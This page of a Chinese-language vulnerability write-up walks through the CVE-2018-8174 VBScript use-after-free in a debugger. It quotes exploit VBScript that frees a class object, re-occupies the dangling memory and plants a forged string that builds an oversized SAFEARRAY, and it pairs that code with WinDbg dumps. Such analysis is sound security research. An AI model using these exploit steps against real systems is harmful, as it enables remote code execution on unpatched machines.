CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
            array_b(i)=0  'cla4_obj1占位的。array_b赋值为0,也就是将cla4_obj1的内存释放了
        Next
        IsEmpty("finish set array_b to 0")
 
        Set cla5_obj1=New cla5  '再次使用悬垂指针重新用cla5_obj1占位,
        cla5_obj1.mem=str_1   '并对cla5.mem赋值伪造的字符串 7fffffff的safearray,
  'str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
        IsEmpty(cla5_obj1)
        For i=0 To 6
            Set array_b(i)=cla5_obj1
        Next
    End Property
End Class
调试: cla6 Get P中的第一个IsEmpty :
//打印一个标记,表示进入Get P函数:
0:005> dd poi(esp+c)
01cd08a8  00000008 00000000 01cc7fb4 00000000
01cd08b8  00000000 00000000 00000000 00000000
01cd08c8  00000000 00000000 00000000 00000000
01cd08d8  00000000 00000000 00000000 00000000
01cd08e8  00000000 00000000 00000000 00000000
01cd08f8  00000000 00000000 00000000 00000000
01cd0908  712f0000 01cb2564 01cd2440 712f4211
01cd0918  0249c720 01cd0938 01cb2560 712f4211
0:005> du 01cc7fb4
01cc7fb4  "cal6:call Get P"
第二个IsEmpty:
0:005> dd poi(esp+c)
01cd08a8  00000008 00000000 01cc7fdc 0000200c
01cd08b8  02490002 01cd2fa8 01cb0006 0249c454
01cd08c8  02490002 01cd2fa8 01cb0001 0249c454
0:005> du 01cc7fdc
01cc7fdc  "finish set array_b to 0"
Free之前的占位
还记得上面分析UAF里面的第一次cla4_obj1对Trigger的占位吗,现在再次查看下这个地址:
// For i=0 To 6  
// array_b(i)=0 
// Next
//由于重新进行了调试,这一次的地址是1cb2528,最近的这条日志可以打印出这个地址
Class cla4 at 1cb2528, terminate called
0:005> dd 1cb2528
01cb2528  712f00d4 00000000 00000000 00000000  //原本占位在这里的cla4_obj1的内存被释放了
01cb2538  000003ec 00000000 00000000 00000000
01cb2548  00000000 002de2a4 00000000 00000000
01cb2558  59acc226 88008da0 712f1748 00000001
01cb2568  01cb5210 003be638 000003ec 00000000
01cb2578  00000000 00000000 00000000 002a613c
01cb2588  00000000 01cb24f0 59acc23f 8c000000
01cb2598  712fce78 71303100 713030f0 00000002
0:005> !heap -a -p 1cb2528
**********************************************
the `!heap -p' commands in exts.dll have been replaced
with equivalent commands in ext.dll.
If your are in a KD session, use `!ext.heap -p`
**********************************************
0:005> !heap -p -a 1cb2528
    address 01cb2528 found in
    _HEAP @ 3b0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01cb2520 0007 0000  [00]   01cb2528    00030 - (free) //堆回溯查看已经被free
重新占位,伪造数据结构
第三次断点,此时再次进行占位,使用的是cla5_obj1;
//源码
Set cla5_obj1=New cla5  '再次使用悬垂指针重新用cla5_obj1占位,
        cla5_obj1.mem=str_1  
  IsEmpty(cla5_obj1)
  '这个str1是一个全局变量,
  'str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff            mov     edi,edi
0:005> dd 01cb2528         //可以直接查看前面一步被free的地址,已经再次占位成功
01cb2528  712f1748 00000002 01c***f0 003be638  //这个01c***f0是cla5.mem的地址
01cb2538  000003ec 00000000 00000000 00000000
01cb2548  00000000 002de344 00000000 01cb2560
01cb2558  59acc226 88008da0 712f1748 00000001
01cb2568  01cb5210 003be638 000003ec 00000000
01cb2578  00000000 00000000 00000000 002a613c
01cb2588  01cb2528 01cb24f0 59acc23f 8c000000
01cb2598  712fce78 71303100 713030f0 00000002
0:005> du 002de344
002de344  "cla5"

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页